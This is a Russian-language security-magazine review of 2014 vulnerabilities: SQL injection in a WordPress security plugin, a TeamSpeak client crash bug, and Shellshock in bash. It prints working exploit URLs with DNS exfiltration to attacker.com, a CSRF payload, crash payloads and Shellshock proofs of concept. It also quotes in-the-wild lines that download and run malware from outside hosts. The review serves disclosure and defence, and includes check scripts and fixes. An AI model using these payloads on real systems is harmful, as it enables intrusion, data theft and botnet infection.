Предыдущий месяц интернет, не побоюсь этого слова, взорвала новость с уязвимостью Shellshock. Ей подвержены многие устройства, использующие bash. И по слухам, с помощью этой уязвимости, возможно, были скомпрометированы Yahoo-серверы. Поэтому рассмотрим ее с примерами использования и еще несколькими менее популярными уязвимостями.

SQL-инъекции в WordPress-плагине

 

CVSSv2

6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)

 

BRIEF

Дата релиза: 3 сентября 2014 года

Автор: High-Tech Bridge SA

CVE: 2014-6242

Для защиты сайтов мы часто используем различные third-party тулзы и плагины, например модные нынче WAF. Но иногда это добавляет, помимо защиты, еще и новый вектор атаки. Сегодняшний обзор мы и начнем с уязвимости в таком плагине для популярной платформы WordPress — All In One WP Security. Исследователями из компании High-Tech Bridge SA были найдены не простые уязвимости, а SQL-инъекции, которые без проблем позволяют скомпрометировать базу данных сайта. Правда, есть ограничения: для воспроизведения атаки требуются права администратора. Но мы можем обойти это, используя атаки CSRF или DNS Exfiltration. О последней рассказывал Мирослав Штампар (Miroslav Stampar) с примером использования в своей программе sqlmap на PHDays 2012. Видео доклада есть в открытом доступе.

Перейдем к самим ошибкам и сразу эксплойтам для них.

 

EXPLOIT

Первая инъекция находится в GET-параметре orderby. Из-за некорректной обработки этой переменной скрипт /wp-admin/admin.php позволяет провести инъекцию произвольного SQL-кода. Пример атаки на сервер с помощью технологии DNS Exfiltration. Ее суть — отправить DNS-запрос к серверу, который находится под управлением атакующего, и потребовать IP-адрес для результата выполнения. Например, выполним такой код на тестовом сервере:

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29

После выполнения появится запрос к 5.1.70-community-log.attacker.com.

Вторая уязвимость находится в параметре order. Для нее эксплойт будет похожим, но с небольшим изменением. DNS Exfiltration:

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR %2897%29,CHAR%28114%29%29%29%29

Рассмотрим также CRSF-вариант для одной из уязвимостей. Создаем HTML-страницу со следующим «изображением» и просим администратора ресурса зайти на наш сайт:

<img src="http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29">
 

TARGETS

All In One WP Security Plugin <= 3.8.2.

 

SOLUTION

Есть исправление от производителя.

Переполнение буфера в TeamSpeak Client v3.0.14

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 1 октября 2014 года

Автор: SpyEye, Christian Galeone

CVE: 2014-7221, 2014-7222

Думаю, многим читателям знакома программа для организации конференций TeamSpeak, которую взяли на вооружение как игроки в обычные компьютерные игры, так и различные хакерские CTF для взаимодействия внутри команды или клана. В TeamSpeak применяются различные BB-коды для более красивого оформления текста. В частности, один из таких кодов [IMG] используется в сообщениях, которые отправляются по всему серверу, отдельному каналу или лично отдельному пользователю. При обработке такого кода и нашлась ошибка, позволяющая или произвести DoS-атаку с некоторыми опасными нюансами, или применить некоторые особенности для успешной СИ-атаки (социальная инженерия).

 

EXPLOIT

Как уже было сказано, для воспроизведения различных случаев достаточно отправить сообщение на канал или отдельному пользователю. Рассмотрим, что можно сделать, используя этот тег.

Очистка или удаление чата:

[img][img]" width="999999..." height="99999...[/img][/img]

При наведении указателя мыши на чат появляется надпись YES. Можно добавить ссылку, по которой кликнет пользователь.

[url=#][img][img]" width="50" height="50" title="YES" style="background-color:black;[/img][/img][/url]

Также мы можем рисовать изображения, используя CSS, или воспользоваться BASE64 представлением изображения и отобразить интернетовский мем — тролля.

[img][img]data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAfCAIAAAB/DupQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAERSURBVEhL7ZZRDsMwCENz/1PlZl1UKkZsE5pK/ev+tjQPY8y2drz2aq+Rjw8N3qaGNPXaGoxAG1NStuohIkIliKtmUlJ0Jnx0Y0de2PoTJWPjfgyX/a2kwKkDJ9X2UO+9FBW9qlWPpwfUuECPbjLUb4Enl2rjuth1yBBxVvPraIidRa957nAKOtjxSXU2EA4ACzcbp+zGIchUgZXQjVufGgK6OHwitieVla3C509nwZCfC9N4Zay1cutiCuWQ0kXnLAILtBeqYa/iABlUb6zcjgjyApEVO/jPbf4qXv02+n3LbKwBgiAqV/frnea0eA1bEI65Dl9ZhlPBAXuIZh+k6RuGlN3oLDy7dufW9+8JXPoBxFWD6ul6Bo8AAAAASUVORK5CYII=[/img][/img]

Еще несколько вариантов от автора уязвимости можно найти на сайте, где она была опубликована.

Ну и самые опасные варианты, которые приводят к падению или фризу приложения. Если же пользователь в этот момент говорил, то у него останется включенным микрофон до того момента, как будет закрыто приложение или перевключен микрофон. Варианты тестировались на Windows 7.

2014-7221:

[img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img]
[img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img]
[img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]

CVE-2014-7222:

[img][img]\\1\z[/img][/img][img][img]\\2\z[/img][/img][img][img]\\3\z[/img][/img][img][img]\\4\z[/img][/img][img][img]\\5\z[/img][/img][img][img]\\6\z[/img][/img][img][img]\\7\z[/img][/img][img][img]\\8\z[/img][/img][img][img]\\9\z[/i
mg][/img][img][img]\\10\z[/img][/img][img][img]\\11\z[/img][/img][img][img]\\12\z[/img][/img][img][img]\\13\z[/img][/img][img][img]\\14\z[/img][/img][img][img]\\15\z[/img][/img][img][img]\\16\z[/img][/img][img][img]\\17\z[/img][/img][
img][img]\\18\z[/img][/img][img][img]\\1\z[/img][/img][img][img]\\2\z[/img][/img][img][img]\\3\z[/img][/img][img][img]\\4\z[/img][/img][img][img]\\5\z[/img][/img][img][img]\\6\z[/img][/img][img][img]\\7\z[/img][/img][img][img]\\8\z[/i
mg][/img][img][img]\\9\z[/img][/img][img][img]\\10\z[/img][/img][img][img]\\11\z[/img][/img][img][img]\\12\z[/img][/img][img][img]\\13\z[/img][/img]
 

TARGETS

TeamSpeak Client <= 3.0.14.

 

SOLUTION

Есть исправление от производителя, или можно воспользоваться Lua-плагином anti-freeze.

Нашумевший Shellshock

 

CVSSv2

10.0 (Av:R/Ac:L/A:N/C:C/I:C/A:C)

 

BRIEF

Дата релиза: 24–29 сентября 2014 года

Автор: Stephane Chazelas, Florian Weimer, Michal Zalewski

CVE: 2014-6271, 2014-6277, 2014-6278, 2014-7169, 2014-7186, 2014-7187

Ну и конечно, мы не могли обойти стороной нашумевшую уязвимость в bash, которая получила свое собственное имя наравне с Heartbleed, — Shellshock. Более того, под этим названием скрывается, по сути, не одна уязвимость, но начнем с начала.

Первую уязвимость из серии обнаружил Стефан Шазела (Stephane Chazelas) 12 сентября 2014 года, и он предлагал назвать ее bashdoor, но, увы, не прижилось. Суть уязвимости в том, что интерпретатор позволяет задать внутри себя переменные среды, которые задают определение функций. А после определения функции bash продолжает обрабатывать команды. Вследствие чего мы можем осуществить атаку с внедрением полезного кода. Возьмем стандартную проверку на наличие уязвимости:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

С помощью () { :;}; мы определяем функцию, а вот echo vulnerable уже полезная команда со своими аргументами. Большая опасность заключалась в том, что можно было атаковать через механизм обращения к CGI-скриптам, которые используются во многих веб-сервисах до сих пор. После выхода патча исследователь @taviso обнаружил способ обхода с использованием файла и записи в него результата выполнения команды.

Помимо этой уязвимости, было найдено еще несколько. Пару из них обнаружил Флориан Ваймер (Florian Weimer) из Red Hat (и не только обнаружил, но и приложил патч). Ошибка заключалась в неправильной обработке различных операций с памятью при разборе выражений. Например, одна ошибка в неправильной обработке символа EOF приводит к падению процесса из-за его многократного повторения:

$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF
<<EOF <<EOF <<EOF <<EOF <<EOF'
bash: line 2: warning: here-document at line 2 delimited by end-of-file
(wanted `EOF')
...
(wanted `EOF')
bash: line 2: warning: here-document at line 2 delimited by end-of-file
(wanted `EOF')
bash: line 2: make_here_document: bad instruction type 33
Segmentation fault (core dumped)

Другая ошибка заключается в многократном повторении done.

Теперь перейдем к последним (я надеюсь) уязвимостям из этой серии от Михала Залевского (Michal Zalewski). Уточню, что они также не работают после установки патча от Флориана Ваймера и работают не на всех старых версиях интерпретатора.

Первая связана с повреждением памяти, то есть мы передаем строку большую, чем у нас выделено памяти:

HTTP_COOKIE="() { x() { _; }; x() { _; } <<`perl -e '{print
"A"x1000}'`; }" bash -c :

bash[25662]: segfault at 41414141 ip 00190d96 sp bfbe6354 error 4 in
libc-2.12.so[110000+191000]

Вторую же назвали приветом из девяностых: по сути, мы просто вставляем любые команды, как есть. Ей подвержены версии bash 4.2 или 4.3:

$ () { _; } >_[$($())] { echo hi mom; id; }

Последние две уязвимости можно найти с помощью утилиты для фаззинга american fuzzy lop от автора. А теперь перейдем к более практичным вещам — эксплойтам и примерам атаки.

 

EXPLOIT

Начнем с уязвимости CVE-2014-6271. Пример ответа на уязвимой машине с помощью команды, которую мы рассмотрели выше:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

После патча вывод в терминале был уже другой:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Но, увы, чуть позже выхода патча был найден способ его обхода, и системы снова были подвержены уязвимостям. Изначально пример новый проверки выглядел так:

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

После проверки своей обновленной системы он не сработал, и я было обрадовался, но потом поменял sh на bash и в результате наш эксплойт успешно вывел текущую дату. Пример успешного запуска ты можешь увидеть на скриншоте:

Уязвимый терминал с Shellshock в OS X

Теперь уже этому обходу был присвоен новый номер — CVE-2014-7169.

Далее уязвимости с многократными повторениями символа EOF и слова done. CVE-2014-7186:

$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

CVE-2014-7187:

$ (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

Эксплойты для найденных уязвимостей от Михала Залевского. CVE-2014-6277:

$ () { x() { _; }; x() { _; } <<a; }

CVE-2014-6278:

HTTP_COOKIE='() { _; } >_[$($())] { echo hi mom; id; }' bash -c :

или

GET /some/script.cgi HTTP/1.0
User-Agent: () { _; } >_[$($())] { id >/tmp/hi_mom; }

Ниже мы рассмотрим примеры атаки с использованием первых Shellshock -уязвимостей, но никто не мешает во все эти утилиты добавить проверку на все уязвимости.

Хакер Роберт Грэхем (Robert Graham) решил проверить наличие уязвимых серверов в интернете. В качестве средства для исследования была выбрана программа masscan с открытым исходным кодом. Исследователь лишь внес небольшие изменения в код, добавив свою полезную нагрузку в запросы:

http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74

Список серверов, уязвимых к Shellshock и ответивших на команду пинг

Если сервер уязвим, то он обратится к нам, отправив три пакета-пинга.

Рассмотрим пример более опасной атаки. Скачиваем исполняемый файл и запускаем.

192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777  /tmp/besh; /tmp/besh;"

Представители Темной стороны тоже не стали сидеть на месте и быстро начали использовать эту уязвимость в своих целях. Например, один из вирусов, найденный аналитиками из Касперского, — Backdoor.Linux.Gafgyt.

На одном из скриншотов приведен пример обмен командами между ботом и управляющим центром.

shellshock_traffic-example_ortloff shellshock-responses

И как видишь, бот периодически сообщает, что жив. Далее хозяин запускает (или автоматически запускается) сканер рандомных IP-адресов для размножения, и иногда дается команда UDP-флуд определенных адресов. Помимо него, в «дикой природе» еще встречается Perl-бот. Пример атаки:

UserAgent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

Внутри архива Perl-скрипт, обфусцированный с помощью Base64. Он легко расшифровывается, поэтому полный исходный код бота был выложен на GitHub. Он может использоваться для сканирования, ддоса, спама и прочего.

Примеров атаки, использующей эту уязвимость, появляется все больше. Приведу лишь некоторые из них:

  • Python-скрипт, отправляющий письма на уязвимый сервер с запущенным SMTP и атаками в заголовках;
  • Python-скрипт для атаки на модуль mod_cgi сервера Apache;
  • пример атаки на OpenVPN-сервер;
  • Metasploit-модуль;
  • видео с примером атаки с использованием утилиты Burp Suite;
  • обновляемый список атак/эксплойтов.
 

TARGETS

Все, что использует bash (например, подвержены атакам DHCP-клиенты, CGI-скрипты и ssh-аккаунты для Git/Subversion, OpenVPN, Exim, qmail, procmail, Mailfilter, SER, Phusion Passenger, Radius-серверов и служб Inetd). Также становятся уязвимы различные Perl-скрипты, о чем написано в небольшой статье.

Проверить, уязвима ли система для некоторых уязвимостей из списка, можно с помощью небольшого скрипта:

bash -c "true $(printf '</dev/null
if [ $? != 0 ]; then
  echo -e "Vulnerable to CVE-2014-7186"
fi

bash -c "`for i in {1..200}; do echo -n "for x$i in; do :;"; done; for i in {1..200}; do echo -n "done;";done`" 2>/dev/null
if [ $? != 0 ]; then
  echo -e "Vulnerable to CVE-2014-7187"
fi

Или воспользоваться комплексным скриптом bashcheck, который проверяет по всему списку.

 

SOLUTION

Есть исправление от производителя. Но в некоторых источниках упоминается, что этой уязвимости подвержены многие устройства за последние 25 лет, и далеко не все из них поддерживаются, или вообще компании-производители уже не существуют. Но можно попытаться пропатчить вручную с помощью фреймворка radare2, о котором мы писали ранее.

Борис dukeBarman Рютин

Известный реверсер, докладчик на множестве конференций, постоянный автор «Хакера» и большой фанат вселенных Blizzard :) В данный момент работает аналитиком в компании "Digital Security" (@DSecRU) и ведёт блог http://dukebarman.pro.

Теги:

Оставить мнение

Check Also

WTF is APT? Продвинутые атаки, хитрости и методы защиты

Наверняка ты уже читал о масштабных сетевых атаках, от которых пострадали банки, крупные п…